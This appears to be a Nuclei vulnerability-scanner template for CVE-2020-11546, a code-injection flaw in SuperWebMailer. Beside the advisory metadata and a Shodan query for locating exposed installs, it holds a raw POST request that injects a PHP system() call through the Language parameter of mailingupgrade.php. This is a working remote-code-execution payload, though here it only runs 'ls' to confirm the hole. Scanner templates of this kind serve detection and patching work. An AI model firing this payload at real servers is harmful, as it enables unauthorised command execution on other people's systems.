id: CVE-2020-11546 info: author: Official_BlackHat13 severity: critical name: SuperWebmailer Remote Code Execution description: SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection. tags: cve,cve2020,rce,superwebmailer reference: - https://github.com/Official-BlackHat13/CVE-2020-11546/ - https://blog.to.com/advisory-superwebmailer-cve-2020-11546/ - https://nvd.nist.gov/vuln/detail/CVE-2020-11546 metadata: shodan-query: title:"SuperWebMailer" classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-11546 cwe-id: CWE-94 requests: - raw: - | POST /mailingupgrade.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded step=1&Language=de{${system("ls")}}&NextBtn=Weiter+%3E matchers-condition: and matchers: - type: status status: - 200 - type: word part: body words: - ajax_ccea.php - ajax_getemailingactions.php - ajax_getemailtemplates.php condition: and